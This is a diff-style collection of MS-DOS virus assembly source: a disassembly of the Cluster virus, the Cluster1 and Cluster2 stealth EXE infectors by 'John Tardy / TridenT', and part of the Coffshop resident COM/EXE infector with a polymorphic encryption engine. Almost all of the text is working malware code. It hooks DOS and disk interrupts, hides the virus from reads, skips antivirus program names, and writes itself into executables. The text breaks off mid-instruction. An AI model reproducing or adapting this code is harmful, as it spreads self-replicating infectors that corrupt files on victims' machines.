unarchive the files is _NOT_ +; infected. + +;Disassembly by Black Wolf + +.model tiny +.code + org 100h + +start: + jmp short EntryPoint + +LotsaNOPs db 122 dup (90h) ;Usually will be EXE header.... + +OldInt13 dd 0 + +EntryPoint: + db 0e9h,7ch,0 ;jmp InstallVirus + +Int13Handler: + cmp ah,3 + je IsDiskWrite + + cmp ah,2 + jne GoInt13 + + pushf + call cs:OldInt13 ;Call Int 13h + + jc Exit13Handler ;Exit on error. + + cmp word ptr es:[bx],7EEBh ;Is sector infected? + jne Exit13Handler + + mov word ptr es:[bx],5A4Dh ;Cover mark with 'MZ' + + push di cx ax ;Stealth routine..... + mov cx,115h + xor ax,ax + db 89h,0dfh ;mov di,bx + + ;Zero out virus from + add di,80h ;sector when it is read. + rep stosb + pop ax cx di + +Exit13Handler: + iret +GoInt13: + jmp cs:[OldInt13] +IsDiskWrite: + cmp word ptr es:[bx],5A4Dh ;Is EXE file being written? + jne GoInt13 + + cmp word ptr es:[bx+4],75h ;Is file too large? + jae GoInt13 + + push ax cx si di ds + push es + pop ds + db 89h,0deh ;mov si,bx + + add si,80h ;Look in EXE header.... + mov cx,115h +AllZeros: + lodsb + cmp al,0 + loopz AllZeros + + cmp cx,0 ;Check to see if entire field + jne ExitInfectHandler ;was zeroed - leave if not. + + + db 89h,0dfh ;mov di,bx + add di,80h + mov cx,115h + mov si,offset OldInt13 + push cs + pop ds + rep movsb + + db 89h,0dfh ;mov di,bx + + ;Copy virus + ;over zero area in EXE header. + mov ax,7EEBh ;Stick in Jump over 'MZ' + stosw + +ExitInfectHandler: + pop ds di si cx ax ;Allow Write to process now. + jmp short GoInt13 + +InstallVirus: + mov ax,3513h + int 21h ;Get Int 13 addres + mov word ptr cs:[OldInt13],bx + mov word ptr cs:[OldInt13+2],es + + mov ah,0Dh + int 21h ;Flush disk buffers + + mov ah,36h + mov dl,0 + int 21h ;Get free space on default drive + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds:0,'Z' ;Are we the last chain? + jne Terminate ;If not, terminate. + + ;sub word ptr ds:[3],39h ;subtract from MCB size + db 81h,2eh,03,0,39h,0 + + ;sub word ptr ds:[12h],39h ;subtract from PSP TopOfMem + db 81h,2eh,12h,0,39h,0 + + mov si,offset OldInt13 + + db 89h,0f7h ;mov di,si + + mov es,ds:[12h] ;ES = new segment + push cs + pop ds + mov cx,115h ;Copy virus into memory + rep movsb + + mov ax,2513h + push es + pop ds + mov dx,offset Int13Handler + int 21h ;Set int 13 to virus handler + + mov ah,4Ah + push cs + pop es + mov bx,39h + int 21h ;Modify mem alloc. + + push cs + pop ds + mov bx,ds:[2ch] ;Get environment segment + mov es,bx + xor ax,ax + mov di,1 + +ScanForFilename: ;Find name of file executed + dec di ;in environment strings... + scasw ;(located after two 0's) + jnz ScanForFilename + + lea si,[di+2] + push bx + pop ds ;DS = environment segment + + push cs + pop es ;ES = code segment + + mov di,offset Filename + push di + xor bx,bx + +CopyFilename: + mov cx,50h + inc bx + lodsb + cmp al,0 + jne StoreFilename ;Change zero at end of + mov al,0Dh ;filename to a return + +StoreFilename: + stosb + cmp al,0Dh ;If it was a return, we're + loopnz CopyFilename ;done copying the filename + + mov byte ptr ds:[28fh],bl + push cs + pop ds + pop si + dec si + int 2Eh ;Re-execute EXE file with + ;Stealth handler in memory, + ;so Exe is run w/o virus. + ;here we go, infected program +Terminate: ;only executes properly when + mov ah,4Ch ;Cluster is resident. + int 21h + + db 0 +Filename db 1 + +end start diff --git a/c/Cluster1.asm b/c/Cluster1.asm new file mode 100755 index 0000000..dba46cd --- /dev/null +++ b/c/Cluster1.asm @@ -0,0 +1,176 @@ +; +; Circus Clusters by John Tardy +; +; This virus is a purely research virus and will not be very able to spread +; itself. It only infects .EXE files smaller than 64K and have a very small +; relocation header, so it can hide itself there. It is fully stealth and it +; only occupies 273 bytes (512-273=239 bytes left for the exe header and the +; relocation table, which ain't much). However, it is functional and can +; spread itself if the criteria files are aveable. If this virus is enhanced, +; it could be a serious threath to the antiviral community. +; + Org 100h + +Jumpie: Jmp Short Jumper + + Org 17ch + +Old13 DD 0 +Jumper: Jmp Install +New13: Cmp Ah,3 + Je CheckExe + Cmp Ah,2 + Jne Org13 + + Pushf + Call Dword Ptr Cs:[Old13] + Jc Error + Cmp Word Ptr Es:[Bx],7eebh + Jne error + Mov Word Ptr Es:[Bx],'ZM' + Push Di + Push Cx + Push Ax + + Mov Cx,VirLen + Xor Ax,Ax + Mov Di,Bx + Add Di,80h + Rep Stosb + + Pop Ax + Pop Cx + Pop Di +Error: Iret +Org13: Jmp Dword Ptr Cs:[Old13] +CheckExe: + Cmp Word Ptr Es:[Bx],'ZM' ; EXE file? + Jne Org13 ; No do normal INT13 + + Cmp Word Ptr Es:[Bx][4],(60000/512) ; Is it too long? + Jnb Org13 ; Yes do normal INT13 + + Push Ax + Push Cx + Push Si + Push Di + Push Ds + + Push Es + Pop Ds + Mov Si,Bx + Add Si,80h + Mov Cx,VirLen +Find0: Lodsb + Cmp Al,0 + Loope Find0 + Cmp Cx,0 + Jne No0 + + Mov Di,Bx + Add Di,80h + Mov Cx,VirLen + Lea Si,Old13 + Push Cs + Pop Ds + Rep Movsb + Mov Di,Bx + Mov Ax,07eebh + Stosw + +No0: + Pop Ds + Pop Di + Pop Si + Pop Cx + Pop Ax + Jmp Org13 +Install: + Mov Ax,3513h + Int 21h + Mov Word Ptr Cs:Old13[0],Bx + Mov Word Ptr Cs:Old13[2],Es + + mov ah,0dh + int 21h + mov ah,36h + mov dl,0 + int 21h + + mov ax,cs ;adjust memory-size + dec ax + mov ds,ax + cmp byte ptr ds:[0],'Z' + jne quitit +resit: sub word ptr ds:[3],virpar+20h + sub word ptr ds:[12h],VirPar+20h + lea si,old13 + mov di,si + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + rep movsb + + Mov Ax,2513h + Mov Ds,es + Lea Dx,New13 + Int 21h + + Mov Ah,4ah + Push Cs + Pop Es + Mov Bx,VirPar+20h + Int 21h + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + mov es,bx + xor ax,ax + mov di,1 + +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename +Exec: push bx + pop ds + push cs + pop es + + mov di,offset f_name ; copy name of this file + push di + xor bx,bx +movit: mov cx,80 + inc bx + lodsb + cmp al,0 + jne stor + mov al,0dh +stor: stosb + cmp al,0dh + loopne movit + mov f_len,bl + + push cs + pop ds + + pop si + dec si + Int 2eh + +quitit: mov ah,4ch + int 21h + +f_len db 0 +f_name: db 1 + +VirEnd Equ $ +VirLen Equ $-Old13 +VirPar Equ ($-Jumpie)/16 + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/c/Cluster2.asm b/c/Cluster2.asm new file mode 100755 index 0000000..1198795 --- /dev/null +++ b/c/Cluster2.asm @@ -0,0 +1,249 @@ +; +; Clust2 virus by John Tardy / TridenT +; +; Virus Name: Clust2 +; Aliases: Cluster-II, Circus Clusters-II +; V Status: Released +; Discovery: Not (yet) +; Symptoms: .EXE altered, possible "sector not found" errors on disk-drives, +; decrease in aveable memory +; Origin: The Netherlands +; Eff Length: 386 bytes (EXE size doesn't change) +; Type Code: ORhE - Overwriting Resident .EXE Infector +; Detection Method: +; Removal Instructions: Delete infected files or copy infected files with the +; virus resident to a device driven unit. +; +; General Comments: +; The Clust2 virus is not yet submitted to any antiviral authority. It +; is from the TridenT Virus Research Centre and was written by someone +; calling himself John Tardy. When an infected program is started, Clust2 +; will become resident in high memory, but below TOM. It hooks interrupt +; 13h and will try to load the program again. Because of it's stealth +; abilities the original program is loaded and will execute normally. +; The Clust2 virus infects files when a write request for interrupt 13h +; is done. It will check if the buffer contains the 'MZ' signature and +; that the candidate file isn't larger than 65000 bytes, and if there are +; enough zeros in the EXE-header. If these contidions are met, Clust2 +; will convert the EXE file to a COM file and inserts it's code in the +; buffer, allowing the original write request to proceed. This way it +; evades critical errors. The Clust2 virus is also stealth and can't be +; detected with virus scanners or checksumming software if the virus is +; resident. File-length and date doesn't change regardless if Clust2 +; is resident. It's also a slighty polymorphic virus, mutating a few +; bytes in it's decryptor. A wildcarded string is needed to find it. +; The following text is encrypted within the +; virus: +; +; "[Clust2]" +; "JT / TridenT" +; +; The Clust2 virus not infect files on device driven units, like drives +; compressed with DoubleSpace. It will disinfect when copied to such a +; device. +; +; Sometimes it will issue a "sector not found" error when a file is +; copied to a disk drive. +; +; The Clust2 virus doesn't do anything besides replicating. +; + ORG 100H + +JUMPIE: JMP SHORT JUMPER + + ORG 180H + +JUMPER: CLC + MOV CX,DECRLEN +MORPH EQU $-2 +JASS: LEA SI,DECR +DECRYPT: XOR BYTE PTR [SI],0 +TRIG EQU $-1 +TRAG EQU $-2 +TROG: INC SI +TREG: LOOP DECRYPT + +DECR: MOV AX,3513H + INT 21H + MOV OLD13,BX + MOV OLD13[2],ES + MOV AX,ES:[BX] + CMP AX,0FC80H + JE EXIT + +DOINST: MOV AH,0DH + INT 21H + + MOV AX,CS + DEC AX + MOV DS,AX + CMP BYTE PTR DS:[0],'Z' + JNE EXIT +RESIT: SUB WORD PTR DS:[3],VIRPAR+19H + SUB WORD PTR DS:[12H],VIRPAR+19H + LEA SI,JUMPER + MOV DI,SI + MOV ES,DS:[12H] + MOV DS,CS + MOV CX,VIRLEN + REP MOVSB + + MOV AX,2513H + MOV DS,ES + LEA DX,NEW13 + INT 21H + + PUSH CS + POP ES + MOV BX,100H + MOV SP,BX + MOV AH,4AH + INT 21H + PUSH CS + POP DS + MOV BX,DS:[2CH] + MOV ES,BX + MOV AH,49H + INT 21H + + XOR AX,AX + MOV DI,1 +SEEK: DEC DI + SCASW + JNE SEEK + + LEA SI,DS:[DI+2] +EXEC: PUSH BX + PUSH CS + POP DS + MOV BX,OFFSET PARAM + MOV DS:[BX+4],CS + MOV DS:[BX+8],CS + MOV DS:[BX+12],CS + POP DS + PUSH CS + POP ES + + MOV DI,OFFSET FILENAME + PUSH DI + MOV CX,40 + REP MOVSW + PUSH CS + POP DS + + POP DX + + MOV AX,4B00H + INT 21H +EXIT: MOV AH,4DH + INT 21H + MOV AH,4CH + INT 21H + +OLD13 DW 0,0 + +ORG13: JMP D CS:[OLD13] + +NEW13: CMP AH,3 + JE CHECKEXE + CMP AH,2 + JNE ORG13 +DO: PUSHF + CALL D CS:[OLD13] + CMP ES:[BX],7EEBH + JNE ERROR + MOV ES:[BX],'ZM' + PUSH DI + PUSH CX + PUSH AX + + MOV CX,VIRLEN + XOR AX,AX + LEA DI,BX[80H] + REP STOSB + + POP AX + POP CX + POP DI +ERROR: IRET + +CHECKEXE: CMP ES:[BX],'ZM' + JNE ORG13 + + CMP W ES:BX[4],(65000/512) + JNB ORG13 + + PUSH AX + PUSH CX + PUSH SI + PUSH DI + PUSH DS + + PUSH ES + POP DS + LEA SI,BX[80H] + MOV DI,SI + MOV CX,VIRLEN +FIND0: LODSB + OR AL,AL + LOOPE FIND0 + OR CX,CX + JNE NO0 + + XOR AX,AX + MOV DS,AX + MOV AX,DS:[046CH] + PUSH CS + POP DS + TEST AH,1 + JZ NOLOOPFLIP + XOR B TREG,2 +NOLOOPFLIP: TEST AH,2 + JZ NOCLCFLIP + XOR B JUMPER,1 +NOCLCFLIP: + ADD AX,VIRLEN + SHR AX,1 + MOV W MORPH,AX + MOV B TRIG,AH + XOR B TRAG,1 + XOR B JASS,1 + XOR B TROG,1 + MOV CX,CRYPT + LEA SI,JUMPER + REP MOVSB + MOV CX,DECRLEN + LEA SI,DECR +CODEIT: LODSB + XOR AL,AH + STOSB + LOOP CODEIT + MOV DI,BX + MOV AX,07EEBH + STOSW + +NO0: POP DS + POP DI + POP SI + POP CX + POP AX + JMP ORG13 + + DB '[Clust2]' + +PARAM DW 0,80H,?,5CH,?,6CH,? + + DB 'JT / TridenT' + +FILENAME EQU $ +DECRLEN EQU $-DECR +CRYPT EQU DECR-JUMPER +VIRLEN EQU $-JUMPER +VIRPAR EQU ($-JUMPER)/16 + + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/c/Coffshop.asm b/c/Coffshop.asm new file mode 100755 index 0000000..323049f --- /dev/null +++ b/c/Coffshop.asm @@ -0,0 +1,1662 @@ + .RADIX 16 + + +_TEXT segment + + assume cs:_TEXT, ds:_TEXT + + +VERSION equ 3 +PICLEN equ last - beeld ;length of picture routine +FILELEN equ last - first ;length of virus +FILEPAR equ (FILELEN + 0F)/10 ;length of virus in paragraphs +VIRPAR equ 00D0 ;space for resident virus +WORKPAR equ 0160 ;work space for engine +STACKOFF equ 1000 ;Stack offset +DATAPAR equ 0050 ;extra memory allocated +BUFLEN equ 1C ;length of buffer + + +;**************************************************************************** +;* data area for virus +;**************************************************************************** + + org 00E0 + +mutstack dw 0, 0 +oldlen dw 0, 0 +oi21 dw 0, 0 +minibuf db 0, 0, 0, 0 + + +;**************************************************************************** +;* data area for engine +;**************************************************************************** + +add_val dw 0 +xor_val dw 0 +xor_offset dw 0 +where_len dw 0 +where_len2 dw 0 +flags db 0 + + +;****************************************************************************** +;* Begin of virus, installation in memory +;****************************************************************************** + + org 0100 + +first: call next ;get IP +next: pop si + + sub si,low 3 ;SI = begin virus + mov di,0100 + cld + + push ax ;save registers + push ds + push es + push di + push si + + mov ah,30 ;DOS version >= 3.1? + int 21 + xchg ah,al + cmp ax,030A + jb not_install + + mov ax,33DA ;already resident? + int 21 + cmp ah,0A5 + je not_install + + mov ax,es ;adjust memory-size + dec ax + mov ds,ax + xor bx,bx + cmp byte ptr [bx],5A + jne not_install + mov ax,[bx+3] + sub ax,(VIRPAR+WORKPAR) + jb not_install + mov [bx+3],ax + sub word ptr ds:[bx+12],(VIRPAR+WORKPAR) + + mov es,[bx+12] ;copy program to top + push cs + pop ds + mov cx,FILELEN + rep movsb + + push es + pop ds + + mov ax,3521 ;get original int21 vector + int 21 + mov ds:[oi21],bx + mov ds:[oi21+2],es + + mov dx,offset ni21 ;install new int21 handler + mov ax,2521 + int 21 + + mov ax,33DBh ;init. random nr. generator + int 21 + + mov ah,2A ;ask date + int 21 + cmp al,5 ;friday ? + jne not_install + mov ah,2C ;ask time + int 21 + or dh,dh ;sec = 0 ? + jnz not_install + + mov ax,33DC ;show picture + int 21 + +not_install: pop si ;restore registers + pop di + pop es + pop ds + pop ax + + add si,(offset buffer) + sub si,di + cmp byte ptr cs:[si],4Dh ;COM or EXE ? + je entryE + +entryC: push di + mov cx,BUFLEN + rep movsb + ret + +entryE: mov bx,ds ;calculate CS + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;restore SS and SP + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;push new CS on stack + push cs:[si+14] ;push new IP on stack + db 0CBh ;retf + + +;****************************************************************************** +;* Interupt 24 handler +;****************************************************************************** + +ni24: mov al,3 ;to avoid 'Abort, Retry, ...' + iret + + +;****************************************************************************** +;* Interupt 21 handler +;****************************************************************************** + +ni21: pushf + + cmp ax,33DA ;install-check ? + jne not_ic + mov ax,0A500+VERSION ;return a signature + popf + iret + +not_ic: push es ;save registers + push ds + push si + push di + push dx + push cx + push bx + push ax + + cmp ax,33DBh ;rnd init ? + jne not_ri + call rnd_init + jmp short no_infect + +not_ri: cmp ax,33DC ;show picture? + je show_pic + +not_pi: cmp ax,4B00 ;execute ? + je do_it + + cmp ax,6C00 ;open DOS 4.0+ ? + jne no_infect + test bl,3 + jnz no_infect + mov dx,di + +do_it: call infect + +no_infect: pop ax ;restore registers + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf + +org21: jmp dword ptr cs:[oi21] ;call to old int-handler + + +;****************************************************************************** +;* Show picture +;****************************************************************************** + +show_pic: mov ax,offset no_infect ;push return adres on stack + push cs + push ax + + mov di,((VIRPAR*10)+0100) ;move picture routine + mov si,offset beeld + mov cx,PICLEN + push cs + pop ds + push cs + pop es + rep movsb + + mov ax,cs ;calculate segment registers + add ax,low VIRPAR + mov ds,ax + mov es,ax + + push ax ;push picture adres on stack + mov ax,0100 + push ax + + db 0CBh ;(retf) goto picture routine + + +;****************************************************************************** +;* Tries to infect the file +;****************************************************************************** + +infect: cld + + push cs ;copy filename to CS:0000 + pop es + mov si,dx + xor di,di + mov cx,0080 +namemove: lodsb + cmp al,0 + je moved + cmp al,'a' + jb char_ok + cmp al,'z' + ja char_ok + xor al,20 ;convert to upper case +char_ok: stosb + loop namemove +return0: ret + +moved: stosb ;put last zero after filename + lea si,[di-5] + push cs + pop ds + + lodsw ;check extension .COM or .EXE + cmp ax,'E.' + jne not_exe + lodsw + cmp ax,'EX' + jmp short check + +not_exe: cmp ax,'C.' + jne return0 + lodsw + cmp ax,'MO' +check: jne return0 + + std ;find begin of filename + mov cx,si + inc cx +searchbegin: lodsb + cmp al,':' + je checkname + cmp al,'\' + je checkname + loop searchbegin + dec si + +checkname: cld ;check filename + lodsw + lodsw + mov di,offset names + mov cl,13 + repnz scasw + je return0 + + mov ax,3300 ;get ctrl-break flag + int 21 + push dx ;save flag on stack + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524 ;get int24 vector + int 21 + push es ;save vector on stack + push bx + + push cs + pop ds + + mov dx,offset ni24 ;install new int24 handler + mov ah,25 + push ax + int 21 + + mov ax,4300 ;ask file-attributes + cwd + int 21 + push cx ;save attributes on stack + + xor cx,cx ;clear attributes + mov ax,4301 + push ax + int 21 + jc return1v + + mov ax,3D02 ;open the file + int 21 + jnc opened +return1v: jmp return1 + +opened: xchg ax,bx ;save handle + + mov ax,5700 ;get file date & time + int 21 + push dx ;save date & time on stack + push cx + + mov cx,BUFLEN ;read begin of file + mov si,offset buffer + mov dx,si + call read + jc closev + + mov ax,4202 ;goto end, get filelength + xor cx,cx + cwd + int 21 + + mov di,offset oldlen ;save filelength + mov [di],ax + mov [di+2],dx + + mov ax,word ptr [si+12] ;already infected? + add al,ah + cmp al,'@' + jz closev + + cmp word ptr [si],'ZM' ;EXE ? + je do_EXE + +do_COM: test byte ptr [si],80 ;maybe a strange EXE? + jz closev + + mov ax,word ptr [di] ;check lenght of file + cmp ah,0D0 + jae closev + cmp ah,1 + jb closev + + mov dx,ax + add dx,0100 + call writeprog ;call Engine and write virus + jne closev + + mov byte ptr [si],0E9 ;put 'JMP xxxx' at begin + sub ax,low 3 + mov word ptr [si+1],ax + jmp done + +closev: jmp close + +do_EXE: cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ? + jb not_win + + mov ax,003C + cwd + call readbytes + jc closev + + mov ax,word ptr [di+8] + mov dx,word ptr [di+0A] + call readbytes + jc closev + + cmp byte ptr [di+9],'E' + je closev + +not_win: call getlen + call calclen ;check for internal overlays + cmp word ptr [si+4],ax + jne close + cmp word ptr [si+2],dx + jne close + + cmp word ptr [si+0C],0 ;high memory allocation? + je close + + cmp word ptr [si+1A],0 ;overlay nr. not zero? + jne close + + call getlen ;calculate new CS & IP + mov cx,0010 + div cx + sub ax,word ptr [si+8] + dec ax + add dx,low 10 + + call writeprog ;call Engine and write virus + jne close + + mov word ptr [si+16],ax ;put CS in header + mov word ptr [si+0E],ax ;put SS in header + mov word ptr [si+14],dx ;put IP in header + mov word ptr [si+10],STACKOFF ;put SP in header + + call getlen + add ax,cx + adc dx,0 + call calclen ;put new length in header + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + lea di,[si+0A] ;adjust mem. allocation info + call mem_adjust + lea di,[si+0C] + call mem_adjust + +done: call gotobegin + call rnd_get ;signature + mov ah,'@' + sub ah,al + mov word ptr [si+12],ax + mov cx,BUFLEN ;write new begin + mov dx,si + mov ah,40 + int 21 + +close: pop cx ;restore date & time + pop dx + mov ax,5701 + int 21 + + mov ah,3E ;close the file + int 21 + +return1: pop ax ;restore attributes + pop cx + cwd + int 21 + + pop ax ;restore int24 vector + pop dx + pop ds + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + ret + + +;****************************************************************************** +;* Filenames to avoid +;****************************************************************************** + +names: db 'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI' + db 'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ' + db ' ', ' ', ' ' + + +;****************************************************************************** +;* Write virus to the program +;****************************************************************************** + +writeprog: push ax ;save registers + push dx + push si + push bp + push es + + cli + mov word ptr [di-4],ss ;save SS & SP + mov word ptr [di-2],sp + + mov ax,cs ;new stack & buffer-segment + mov ss,ax + mov sp,((VIRPAR + WORKPAR) * 10) + add ax,low VIRPAR + mov es,ax + sti + + push ds + + mov bp,dx ;input parameters for engine + mov dx,0100 + mov cx,FILELEN + xor si,si + mov al,0Fh + + push di + push bx + + call crypt ;call the Engine + + pop bx + pop di + + push cx + push dx + mov ax,4202 ;goto end + xor cx,cx + cwd + int 21 + pop dx + pop cx + + mov ah,40 ;write virus + int 21 + cmp ax,cx ;are all bytes written? + + pop ds + + cli + mov ss,word ptr [di-4] ;restore stack + mov sp,word ptr [di-2] + sti + + pop es ;restore registers + pop bp + pop si + pop dx + pop ax + + ret + + +;****************************************************************************** +;* Adjust mem allocation info in EXE header +;****************************************************************************** + +mem_adjust: mov ax,[di] + sub ax,low FILEPAR ;alloc. may be this much less + jb more + cmp ax,DATAPAR ;minimum amount to allocate + jae mem_ok +more: mov ax,DATAPAR +mem_ok: mov [di],ax + ret + + +;****************************************************************************** +;* Read a few bytes +;****************************************************************************** + +readbytes: call goto + mov dx,offset minibuf + mov cx,4 +read: mov ah,3F + int 21 + ret + + +;****************************************************************************** +;* Calculate length for EXE header +;****************************************************************************** + +calclen: mov cx,0200 + div cx + or dx,dx + jz no_cor + inc ax +no_cor: ret + + +;****************************************************************************** +;* Get original length of program +;****************************************************************************** + +getlen: mov ax,[di] + mov dx,[di+2] + ret + + +;****************************************************************************** +;* Goto new offset DX:AX +;****************************************************************************** + +gotobegin: xor ax,ax + cwd +goto: xchg cx,dx + xchg ax,dx + mov ax,4200 + int 21 + ret + + +;**************************************************************************** +;* +;* Encryption Engine +;* +;* +;* Input: ES work segment +;* DS:DX code to encrypt +;* BP what will be start of decryptor +;* SI what will be distance between decryptor and code +;* CX length of code +;* AX flags: bit 0: DS will not be equal to CS +;* bit 1: insert random instructions +;* bit 2: put junk before decryptor +;* bit 3: preserve AX with decryptor +;* +;* Output: ES: work segment (preserved) +;* DS:DX decryptor + encrypted code +;* BP what will be start of decryptor (preserved) +;* DI length of decryptor / offset of encrypted code +;* CX length of decryptor + encrypted code +;* AX length of encrypted code +;* (other registers may be trashed) +;* +;**************************************************************************** + + db '[ MK / Trident ]' + +crypt: xor di,di ;di = start of decryptor + push dx ;save offset of code + push si ;save future offset of code + + mov byte ptr ds:[flags],al ;save flags + test al,8 ;push AX? + jz no_push + mov al,50 + stosb + +no_push: call rnd_get ;add a few bytes to cx + and ax,1F + add cx,ax + push cx ;save length of code + + call rnd_get ;get random flags + xchg ax,bx + ;BX flags: + + ;0,1 how to encrypt + ;2,3 which register for encryption + ;4 use byte or word for encrypt + ;5 MOV AL, MOV AH or MOV AX + ;6 MOV CL, MOV CH or MOV CX + ;7 AX or DX + + ;8 count up or down + ;9 ADD/SUB/INC/DEC or CMPSW/SCASW + ;A ADD/SUB or INC/DEC + ; CMPSW or SCASW + ;B offset in XOR instruction? + ;C LOOPNZ or LOOP + ; SUB CX or DEC CX + ;D carry with crypt ADD/SUB + ;E carry with inc ADD/SUB + ;F XOR instruction value or AX/DX + +random: call rnd_get ;get random encryption value + or al,al + jz random ;again if 0 + mov ds:[xor_val],ax + + call do_junk ;insert random instructions + + pop cx + + mov ax,0111 ;make flags to remember which + test bl,20 ; MOV instructions are used + jnz z0 + xor al,07 +z0: test bl,0C + jnz z1 + xor al,70 +z1: test bl,40 + jnz z2 + xor ah,7 +z2: test bl,10 + jnz z3 + and al,73 +z3: test bh,80 + jnz z4 + and al,70 + +z4: mov dx,ax +mov_lup: call rnd_get ;put MOV instructions in + and ax,000F ; a random order + cmp al,0A + ja mov_lup + + mov si,ax + push cx ;test if MOV already done + xchg ax,cx + mov ax,1 + shl ax,cl + mov cx,ax + and cx,dx + pop cx + jz mov_lup + xor dx,ax ;remember which MOV done + + push dx + call do_mov ;insert MOV instruction + call do_nop ;insert a random NOP + pop dx + + or dx,dx ;all MOVs done? + jnz mov_lup + + push di ;save start of decryptor loop + + call do_add_ax ;add a value to AX in loop? + call do_nop + test bh,20 ;carry with ADD/SUB ? + jz no_clc + mov al,0F8 + stosb +no_clc: mov word ptr ds:[xor_offset],0 + call do_xor ;place all loop instructions + call do_nop + call do_add + + pop dx ;get start of decryptor loop + + call do_loop + + test byte ptr ds:[flags],8 ;insert POP AX ? + jz no_pop + mov al,58 + stosb + +no_pop: xor ax,ax ;calculate loop offset + test bh,1 ;up or down? + jz v1 + mov ax,cx + dec ax + test bl,10 ;encrypt with byte or word? + jz v1 + and al,0FE +v1: add ax,di + add ax,bp + pop si + add ax,si + sub ax,word ptr ds:[xor_offset] + mov si,word ptr ds:[where_len] + test bl,0C ;are BL,BH used for encryption? + jnz v2 + mov byte ptr es:[si],al + mov si,word ptr ds:[where_len2] + mov byte ptr es:[si],ah + jmp short v3 +v2: mov word ptr es:[si],ax + +v3: mov dx,word ptr ds:[xor_val] ;encryption value + + pop si ;ds:si = start of code + + push di ;save ptr to encrypted code + push cx ;save length of encrypted code + + test bl,10 ;byte or word? + jz blup + + inc cx ;cx = # of crypts (words) + shr cx,1 + +lup: lodsw ;encrypt code (words) + call do_encrypt + stosw + loop lup + jmp short klaar + + +blup: lodsb ;encrypt code (bytes) + xor dh,dh + call do_encrypt + stosb + loop blup + +klaar: mov cx,di ;cx = length decryptpr + code + pop ax ;ax = length of decrypted code + pop di ;di = offset encrypted code + xor dx,dx ;ds:dx = decryptor + cr. code + push es + pop ds + ret + + +;**************************************************************************** +;* encrypt the code +;**************************************************************************** + +do_encrypt: add dx,word ptr ds:[add_val] + test bl,2 + jnz lup1 + xor ax,dx + ret + +lup1: test bl,1 + jnz lup2 + sub ax,dx + ret + +lup2: add ax,dx + ret + + +;**************************************************************************** +;* generate mov reg,xxxx +;**************************************************************************** + +do_mov: mov dx,si + mov al,byte ptr ds:[si+mov_byte] + cmp dl,4 ;BX? + jne is_not_bx + call add_ind +is_not_bx: test dl,0C ;A*? + pushf + jnz is_not_a + test bl,80 ;A* or D*? + jz is_not_a + add al,2 + +is_not_a: call alter ;insert the MOV + + popf ;A*? + jnz is_not_a2 + mov ax,word ptr ds:[xor_val] + jmp short sss + +is_not_a2: test dl,8 ;B*? + jnz is_not_b + mov si,offset where_len + test dl,2 + jz is_not_bh + add si,2 +is_not_bh: mov word ptr ds:[si],di + jmp short sss + +is_not_b: mov ax,cx ;C* + test bl,10 ;byte or word encryption? + jz sss + inc ax ;only half the number of bytes + shr ax,1 +sss: test dl,3 ;byte or word register? + jz is_x + test dl,2 ;*H? + jz is_not_h + xchg al,ah +is_not_h: stosb + ret + +is_x: stosw + ret + + +;**************************************************************************** +;* insert MOV or alternative for MOV +;**************************************************************************** + +alter: push bx + push cx + push ax + call rnd_get + xchg ax,bx + pop ax + test bl,3 ;use alternative for MOV? + jz no_alter + + push ax + and bx,0F + and al,08 + shl ax,1 + or bx,ax + pop ax + + and al,7 + mov cl,9 + xchg ax,cx + mul cl + + add ax,30C0 + xchg al,ah + test bl,4 + jz no_sub + mov al,28 +no_sub: call maybe_2 + stosw + + mov al,80 + call maybe_2 + stosb + + mov ax,offset add_mode + xchg ax,bx + and ax,3 + xlat + + add al,cl +no_alter: stosb + pop cx + pop bx + ret + + +;**************************************************************************** +;* insert ADD AX,xxxx +;**************************************************************************** + +do_add_ax: push cx + mov si,offset add_val ;save add-value here + mov word ptr ds:[si],0 + mov ax,bx + and ax,8110 + xor ax,8010 + jnz no_add_ax ;use ADD? + + mov ax,bx + xor ah,ah + mov cl,3 + div cl + or ah,ah + jnz no_add_ax ;use ADD? + + test bl,80 + jnz do_81C2 ;AX or DX? + mov al,5 + stosb + jmp short do_add0 +do_81C2: mov ax,0C281 + stosw +do_add0: call rnd_get + mov word ptr ds:[si],ax + stosw +no_add_ax: pop cx + ret + + +;**************************************************************************** +;* generate encryption command +;**************************************************************************** + +do_xor: test byte ptr ds:[flags],1 + jz no_cs + mov al,2E ;insert CS: instruction + stosb + +no_cs: test bh,80 ;type of XOR command + jz xor1 + + call get_xor ;encrypt with register + call do_carry + call save_it + xor ax,ax + test bl,80 + jz xxxx + add al,10 +xxxx: call add_dir + test bh,8 + jnz yyyy + stosb + ret + +yyyy: or al,80 + stosb + call rnd_get + stosw + mov word ptr ds:[xor_offset],ax + ret + +xor1: mov al,080 ;encrypt with value + call save_it + call get_xor + call do_carry + call xxxx + mov ax,word ptr ds:[xor_val] + test bl,10 + jmp byte_word + + +;**************************************************************************** +;* generate increase/decrease command +;**************************************************************************** + +do_add: test bl,8 ;no CMPSW/SCASW if BX is used + jz da0 + test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW + jnz do_cmpsw + +da0: test bh,4 ;ADD/SUB or INC/DEC? + jz add1 + + mov al,40 ;INC/DEC + test bh,1 ;up or down? + jz add0 + add al,8 +add0: call add_ind + stosb + test bl,10 ;byte or word? + jz return + stosb ;same instruction again +return: ret + +add1: test bh,40 ;ADD/SUB + jz no_clc2 ;carry? + mov al,0F8 ;insert CLC + stosb +no_clc2: mov al,083 + stosb + mov al,0C0 + test bh,1 ;up or down? + jz add2 + mov al,0E8 +add2: test bh,40 